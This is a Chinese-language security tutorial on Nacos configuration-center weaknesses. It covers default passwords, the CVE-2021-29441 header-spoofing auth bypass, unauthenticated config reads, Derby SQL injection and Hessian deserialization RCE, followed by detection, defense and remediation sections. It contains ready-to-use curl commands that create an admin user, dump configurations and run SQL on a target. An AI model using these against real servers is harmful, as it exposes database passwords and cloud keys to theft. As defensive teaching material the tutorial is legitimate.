Nacos 漏洞利用实战(未授权/认证绕过/反序列化)

Nacos 配置中心常见问题实战:默认口令、认证绕过、配置泄露、Derby 注入与 Hessian 反序列化 RCE,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK,读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心,生产里常存数据库密码、AK/SK、Token。它的问题集中在几类:

1
2
3
4
5
1. 默认/弱口令(nacos/nacos、nacos/admin)
2. 认证绕过(CVE-2021-29441,User-Agent/请求头伪造)
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质:配置中心是高价值目标,却常被默认配置暴露在公网

二、影响与危害

1
2
3
数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级:高到严重(配置中心=全家桶钥匙)。

三、利用 / 复现

1. 默认口令登录

1
2
http://目标:8848/nacos
账号:nacos / nacos(老版本 admin/admin)

2. 认证绕过(CVE-2021-29441)

1
2
3
# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
  -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2
# 读取配置(需确认版本鉴权情况)
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2
# 内置 Derby 数据库存在 SQL 注入,可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3
Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

复现操作步骤

1
2
3
4
5
第 1 步:访问 /nacos,试默认口令 nacos/nacos —— 能登录即弱口令
第 2 步:带请求头 User-Agent: Nacos-Server 试认证绕过创建用户
第 3 步:探测 /nacos/v1/cs/configs 未授权读配置
第 4 步:按版本试 Derby 注入 / Hessian 反序列化
第 5 步:读到密钥或命令执行 → 确认漏洞,记录影响

四、检测

1
2
3
4
指纹:8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE(含 Hessian 链)

五、防御

1
2
3
4
5
修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露,Nacos 走内网
最小化开放端口(8848/9848/7848)
对配置中心做网络隔离

六、修复

1
2
3
4
升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测:未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”:拿到配置中心,等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿,务必归入资产清单重点排查。